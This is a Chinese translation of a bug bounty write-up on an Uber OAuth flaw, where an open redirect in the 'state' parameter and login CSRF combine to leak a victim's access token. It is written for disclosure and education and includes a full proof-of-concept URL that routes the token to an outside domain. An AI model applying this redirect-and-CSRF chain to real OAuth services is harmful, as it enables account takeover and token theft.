【技术分享】我是如何破解价值8000美金的Uber漏洞

阅读量136439

|

发布时间 : 2017-06-29 14:05:33

x
译文声明

本文是翻译文章,文章来源:ngailong.com

原文地址:http://ngailong.com/uber-login-csrf-open-redirect-account-takeover/

译文仅供参考,具体内容表达以及含义原文为准。

http://p8.qhimg.com/t01d1b39de18d2d22cb.jpg

译者:小meet

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

读了两篇文章tweet 和 report之后,我决定分享一个在Uber挖到的很特别的洞–盗取登录授权。

这个漏洞在central.uber.com,使用oauth协议登录,但是参数使用不正确导致攻击者构造参数导致跳转和登录CSRF,然后获取跳转后URL中的登录令牌。

先来分析一个central.uber.com的登录流程,几个月前当用户登录时,请求是这样的:

1、https://central.uber.com/login?state=/somewhere
 
2、https://login.uber.com/oauth/authorize?response_type=code&scope=profile history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https://central.uber.com/oauth2-callback&state=/somewhere
3、https://central.uber.com/oauth2-callback?state=/&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
4、https://central.uber.com/somewhere

为了更好的理解这个漏洞,你需要多读几遍去熟悉这个流程。我的第一次尝试是把state的参数值从/somewhere变成了//google.com,去测试潜在的跳转漏洞,然后这个流程变成了下面的样子

1、https://central.uber.com/login?state=//google.com
2、https://login.uber.com/oauth/authorize?response_type=code&scope=profile history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https://central.uber.com/oauth2-callback&state=//google.com
3、https://central.uber.com/oauth2-callback?state=//google.com&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
4、//google.com

显而易见这是跳转漏洞的,但是uber不收这个洞了,所以要深挖一下好好利用。

由于请求中我们用的是code,而不是token,所以即使利用跳转我们也没法在登录中获取任何东西。所以我们把code替换成token,看看会出现什么情况:

1、https://login.uber.com/oauth/authorize?response_type=token&scope=profile history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https://central.uber.com/oauth2-callback&state=//google.com/
2、https://central.uber.com/oauth2-callback?state=//google.com#access_token=xxxxx/
3、No redirect here

因为https://central.uber.com/oauth2-callback 没有返回可用的code,所以第二步没有跳转,但是如果没有跳转的话我们就没法获取token,所以需要一个解决方法,给oauth2-callback后面添加一个可用的code参数

登录处CSRF

参数state用于跳转,我们可以将自己可用的oauth code 添加到 oauth2-callback后面,然后发给被攻击者,然后被攻击者就会带着token被重定向访问攻击者的网站。

 

POC

https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3dattacker_valid_oauth_code&state=%2F%2fhackerone.com

POC登录流程

1 https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{attacker_valid_oauth_code}&state=%2F%2fhackerone.com

2 https://central.uber.com/oauth2-callback?state=%2F%2fhackerone.com&code={attacker_valid_oauth_code}#access_token={victim_access_token}

3、//hackerone.com#accesstoken={victim_access_token}

 

局限

这个漏洞需要用户已经获取了login.uber.com的的会话验证。由于central.uber.com是一个官方的oauth客户端,所以每个用户在默认情况下会接受central.uber.com的任何请求。

漏洞赏金$8000

 

本文翻译自ngailong.com 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
小meet
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66